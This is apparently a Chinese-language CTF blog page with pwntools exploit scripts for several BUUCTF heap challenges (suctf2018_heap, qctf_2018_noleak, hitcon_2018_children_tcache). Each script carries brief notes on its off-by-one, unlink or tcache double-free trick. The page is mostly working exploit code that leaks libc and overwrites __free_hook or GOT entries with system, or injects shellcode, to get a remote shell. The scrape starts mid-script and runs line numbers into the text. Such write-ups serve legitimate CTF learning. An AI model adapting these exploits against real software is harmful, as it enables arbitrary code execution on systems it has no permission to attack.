sla(b"Choice: \n" , b"3" ) sa(b"Enter index: " , str(index).encode()) def show(index: int ): sla(b"Choice: \n" , b"4" ) sa(b"Enter index: " , str(index).encode()) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out add(0x28 , b"a" * 18 ) for i in range(8 ): add(0xF8 , b"a" ) for i in range(8 , 1 , -1 ): free (i) free (0 )ptr = 0x602040 add(0x28 , p64(0 ) + p64(0x21 ) + p64(ptr - 0x18 ) + p64(ptr - 0x10 ) + p64(0x20 )) free (1 )add(0x18 , b"a" * 0x17 ) edit(0 , b"a" * 0x18 + p64(ptr + 8 ) + p64(elf.got["puts" ])) show(1 ) ru(b"Data: " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] free_hook_addr = libc_base + libc.sym["__free_hook" ] edit(0 , p64(free_hook_addr)) edit(1 , p64(libc_base + libc.sym["system" ])) add(0x18 , b"/bin/sh\0" ) free (2 )# debug() it()
suctf2018_heap BUUCTF在线评测
题目出题比较奇怪,多了一个类似于缓存的
这个题目主要就是off by one比较奇特,如果我们把堆填满了,就不能用strlen来判断大小,不然会算上下一个块的大小,导致可以任意修改下一个块的大小,其他的都差不太多,这里不能改malloc_hook,只能改got
所以千万不能用strlen(chunk)内容来判断长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./offbyone" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 29014 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b c x/10xg 0x06020C0 " "" gdb.attach(io, gdbscript=gdbscript) # 0x80 ~0x100 def add(size: int , content: bytes): sa(b"4:edit\n" , b"1" ) sa(b"input len\n" , str(size).encode()) sa(b"input your data\n" , content) def edit(index: int , content: bytes): sa(b"4:edit\n" , b"4" ) sa(b"input id\n" , str(index).encode()) sa(b"input your data\n" , content) # 清空了 def free (index: int ): sa(b"4:edit\n" , b"2" ) sa(b"input id\n" , str(index).encode()) def show(index: int ): sa(b"4:edit\n" , b"3" ) sa(b"input id\n" , str(index).encode()) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out add(0x98 , b"a" * 0x98 ) add(0x98 , b"a" * 0x98 ) add(0x98 , b"a" * 0x98 ) add(0x88 , b"a" * 0x88 ) for i in range(7 ): add(0x88 , b"a" * 0x88 ) for i in range(10 , 4 , -1 ): free (i) ptr = 0x6020D8 edit( 3 , p64(0 ) + p64(0x80 ) + p64(ptr - 0x18 ) + p64(ptr - 0x10 ) + p64(0 ) * 12 + p64(0x80 ) + b"\x90" , ) free (4 )add(0x88 , b"A" ) edit(3 , p64(elf.got["puts" ])) show(0 ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] edit(3 , p64(elf.got["atoi" ])) ru(b"4:edit\n" ) sa(b"4:edit\n" , b"4" ) sa(b"input id\n" , str(0 ).encode()) sa(b"input your data\n" , p64(libc_base + libc.sym["system" ])) s(b"/bin/sh\0" ) it()
qctf_2018_noleak BUUCTF在线评测
很巧妙的题目,main_arena和__malloc_hook地址只有最后p8不一样,可以直接修改不需要爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./QCTF_2018_NoLeak" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 29110 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x4008A6 c x/10xg 0x601040 " "" gdb.attach(io, gdbscript=gdbscript) def add(size: int , content: bytes): sa(b"choice :" , b"1" ) sa(b"Size: " , str(size).encode()) sa(b"Data: " , content) # 任意溢出 def edit(index: int , content: bytes): sa(b"choice :" , b"3" ) sa(b"Index: " , str(index).encode()) sa(b"Size: " , str(len(content)).encode()) sa(b"Data: " , content) # 没有清空 def free (index: int ): sa(b"choice :" , b"2" ) sa(b"Index: " , str(index).encode()) # def show(index: int): # sa(b"Choice: \n" , b"4" ) # sa(b"Index: " , str(index).encode()) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out ptr = 0x601040 add(0x28 , b"a" ) add(0x418 , b"a" ) add(0x18 , b"a" ) edit( 0 , p64(0 ) + p64(0x21 ) + p64(ptr - 0x18 ) + p64(ptr - 0x10 ) + p64(0x20 ) + p64(0x420 ), ) free (1 )add(0x18 , b"a" ) add(0x18 , b"a" ) free (3 )free (3 )edit(3 , p8(0x90 )) add(0x18 , b"a" ) add(0x18 , b"a" ) add(0x18 , b"a" ) edit(0 , p64(0 ) * 3 + p64(ptr) + p64(0 ) * 6 + p8(0x30 )) edit(7 , p64(ptr)) edit(0 , asm (shellcraft.sh())) sa(b"choice :" , b"1" ) sa(b"Size: " , str(0x18 ).encode()) it() debug() it() exit (0 )
hitcon_2018_children_tcache BUUCTF在线评测
这个题比较巧妙的几个地方
off by one 用来修改size
free之前会memset,所以需要通过不断调整大小来修改prev_size
double free tcache
tcache不检查大小是否匹配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./HITCON_2018_children_tcache_debug" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) if "debug" in elf_path: libc_path = elf.linker.decode().replace("ld" , "./libc" ) libc = ELF(libc_path) if "2.23" in libc_path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc_path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] else : libc_path = "" if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 26107 io = remote(remote_ip, remote_port) else : if libc_path != "" : io = process(elf_path, env={"LD_PRELOAD" : libc_path}) else : io = process(elf_path) def debug(): # 断点设置在c之前就好,查看bss时候要在c后面, x/5 xg $rebase(0xAF9 ) # b *$rebase(0x14F6) # b *$rebase(0x13A9) gdbscript = "" " b *$rebase(0xD6B) c x/6xg $rebase(0x202060) x/6xg $rebase(0x2020C0) " "" gdb.attach(io, gdbscript=gdbscript) # 存在off by one def add(size: int , content: bytes): sa(b"choice: " , b"1" ) sla(b"Size:" , str(size).encode()) sa(b"Data:" , content) def show(index: int ): sa(b"choice: " , b"2" ) sa(b"Index:" , str(index).encode()) # def edit(index: int, content: bytes): # sla(b"choice: " , b"3" ) # sla(b"index : \n" , str(index).encode()) # sla(b"Please enter the length of item name:" , str(len(content)).encode()) # sa(b"Please enter the new name of the item:" , content) # 这里有个小trick,他是根据请求的size进行清空,只要我们不断把size变小,就不会重复填入\xda def free (index: int ): sa(b"choice: " , b"3" ) sa(b"Index:" , str(index).encode()) add(0x418 , b"a" ) add(0x18 , b"a" ) add(0x4F8 , b"a" ) add(0x18 , b"a" ) free (0 )free (1 )for i in range(6 ): add(0x18 - i, b"a" * (0x18 - i)) free (0 ) add(0x18 , b"a" * 0x10 + p16(0x440 )) free (2 )add(0x418 , b"a" ) show(0 ) libc_base = u64(rld().ljust(8 , b"\0" )) - 0x7FD7F4B60CA0 + 0x7FD7F4775000 add(0x18 , b"a" ) add(0x18 , b"a" ) add(0x18 , b"c" ) free (5 )free (0 )free (4 )free (2 )free_hook_addr = libc_base + libc.sym["__free_hook" ] system_addr = libc_base + one_gadget[1 ] add(0x18 , p64(free_hook_addr)) add(0x18 , b"/bin/sh\0" ) add(0x18 , b"/bin/sh\0" ) # debug() add(0x18 , p64(system_addr)) free (0 )it() # debug() # add(0x18, b"a" * 0x10 + p64(0x20)) # free(0) # add(0x18, b"aa" ) # show(0) # rl() # rl() # add(0x18, b"a" * 0x17) # for i in range(9): # add(0x2000 - 8, b"a" * 0x17) # # for i in range(2, 9): # # free(i) # free(2) # free(0) # add(0x18, b"a" * 0x18) # free(0) # add(0x18, b"a" * 0x10 + b"a" * 0x6 + b"\0" ) # free(1) # add(0x18, b"" ) # free(1)
old edition 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./pwn200_debug" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) if "debug" in elf_path: libc_path = elf.linker.decode().replace("ld" , "./libc" ) libc = ELF(libc_path) if "2.23" in libc_path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc_path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] else : libc_path = "" if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 29413 io = remote(remote_ip, remote_port) else : if libc_path != "" : io = process(elf_path, env={"LD_PRELOAD" : libc_path}) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x400A72 b *0x400a8c c " "" gdb.attach(io, gdbscript=gdbscript)